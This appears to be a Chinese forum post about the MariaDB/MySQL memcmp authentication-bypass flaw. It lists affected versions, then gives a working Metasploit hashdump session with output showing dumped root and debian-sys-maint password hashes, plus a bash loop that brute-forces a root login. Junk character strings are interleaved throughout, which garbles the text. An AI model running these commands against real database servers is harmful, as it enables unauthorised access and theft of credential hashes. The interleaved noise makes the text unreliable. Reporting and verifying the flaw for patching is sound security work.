当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
; s* T+ G6 Z, K, u" Z5 w( i. `& R& \
. X) G$ Q+ U R8 x, n也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
9 I1 H% r. `) U: a( G: n3 q! e/ o/ j, |$ v P5 b, k3 p* K( F
受影响的产品:& B/ H. V) n1 W* ~$ c r5 C
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are3 {2 B; d4 c) J1 k( h) a
vulnerable.# e6 V) I! G2 o4 ~5 L6 o
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
+ G( ~. ]" m2 L+ {( N- \, T6 oMySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.& a8 ^6 _( Q) _. z4 t) v
& | z6 ^3 D. f4 l* i$ `# `) {' k验证方法:
- P; d9 }& u# o3 e: P
8 o& g; W1 g5 Q+ n: p$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed- T0 ~% B7 E$ x* v1 Z1 f
& i" d, k5 S0 g8 n $ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql>3 T! c/ t$ K1 ]5 `2 l6 ^% h7 Y/ b% ?! y
|